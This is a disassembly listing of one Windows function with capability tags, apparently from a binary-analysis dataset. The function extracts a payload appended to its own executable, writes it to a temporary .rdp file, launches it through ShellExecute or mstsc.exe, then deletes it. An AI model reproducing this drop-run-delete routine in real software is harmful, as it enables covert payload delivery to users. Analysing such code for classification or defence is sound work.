Function at 0x401100
Capabilities:
Create process on windows
Delete file
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x834
mov eax, dword [0x40e004]
xor eax, esp
mov dword [esp + 0x830], eax
push ebx
push 0x206
xor ebx, ebx
lea ecx, [esp + 0x222]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x228], ax
call fcn.00406900
add esp, 0xc
push 0x104
lea edx, [esp + 0x220]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x401177
push str.error_getting_module_file_name_n
call fcn.00401000
add esp, 4
lea eax, [ebx + 1]
pop ebx
mov ecx, dword [esp + 0x830]
xor ecx, esp
call fcn.00401456
add esp, 0x834
ret 0x10
push esi
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
lea eax, [esp + 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4011b0
push str.error_opening_myself_n
call fcn.00401000
add esp, 4
mov eax, 1
jmp 0x40143d
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push ebx
push 0xfffffffffffffffc
push esi
call edi
cmp eax, 0xffffffff
jne 0x4011db
push str.error_setting_file_pointer_to_payload_size_position_n
call fcn.00401000
add esp, 4
mov eax, 1
jmp 0x40143c
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
lea ecx, [esp + 0x18]
push ecx
push 4
lea edx, [esp + 0x1c]
push edx
push esi
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
call ebp
test eax, eax
je 0x401422
cmp dword [esp + 0x14], 4
jne 0x401422
mov ecx, dword [esp + 0x10]
lea eax, [ecx - 0x40]
cmp eax, 0xfc0
ja 0x40141a
push 2
mov eax, 0xfffffffc
push ebx
sub eax, ecx
push eax
push esi
call edi
cmp eax, 0xffffffff
jne 0x401244
push str.error_setting_file_pointer_to_payload_n
call fcn.00401000
add esp, 4
jmp 0x401436
mov ecx, dword [esp + 0x10]
push ecx
call fcn.004014b4
add esp, 4
push ebx
mov edi, eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
push eax
push edi
push esi
call ebp
test eax, eax
je 0x40140c
mov ecx, dword [esp + 0x14]
cmp ecx, dword [esp + 0x10]
jne 0x40140c
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebp
lea edx, [esp + 0x638]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp eax, 0x104
ja 0x4013fe
cmp eax, ebx
je 0x4013fe
push 0x206
lea ecx, [esp + 0x26]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x2c], ax
call fcn.00406900
add esp, 0xc
lea edx, [esp + 0x20]
push edx
push ebx
push 0x40c4fc
lea eax, [esp + 0x644]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x4012ef
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.error_getting_temp_file_name._Error_d_n
jmp 0x40142e
push str..rdp
lea ecx, [esp + 0x24]
push 0x104
push ecx
call fcn.0040170d
add esp, 0xc
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
lea edx, [esp + 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401336
push str.error_opening_temporary_file_n
call fcn.00401000
add esp, 4
jmp 0x401436
mov ecx, dword [esp + 0x10]
push ebx
lea eax, [esp + 0x1c]
push eax
push ecx
push edi
push esi
mov dword [esp + 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4013f0
mov edx, dword [esp + 0x18]
cmp edx, dword [esp + 0x10]
jne 0x4013f0
push esi
call ebp
push 1
push ebx
push 0x40c57c
lea eax, [esp + 0x2c]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x1f
jne 0x4013d6
push 0x206
lea edx, [esp + 0x436]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x43c], cx
call fcn.00406900
lea eax, [esp + 0x2c]
push eax
push str.mstsc.exe__s
lea ecx, [esp + 0x444]
push 0x104
push ecx
call fcn.0040157e
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x450]
push eax
mov dword [esp + 0x40], ebx
call fcn.00401060
add esp, 0x24
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
jmp 0x40143b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.error_writing_payload._Error_d_n
jmp 0x40142e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.error_getting_temp_directory._Error_d_n
jmp 0x40142e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.error_reading_payload._Error_d_n
jmp 0x40142e
push ecx
push str.invalid_payload_size:__d_n
jmp 0x40142e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.error_reading_payload_size._Error_d_n
call fcn.00401000
add esp, 8
mov eax, 1
pop ebp
pop edi
mov ecx, dword [esp + 0x838]
pop esi
pop ebx
xor ecx, esp
call fcn.00401456
add esp, 0x834
ret 0x10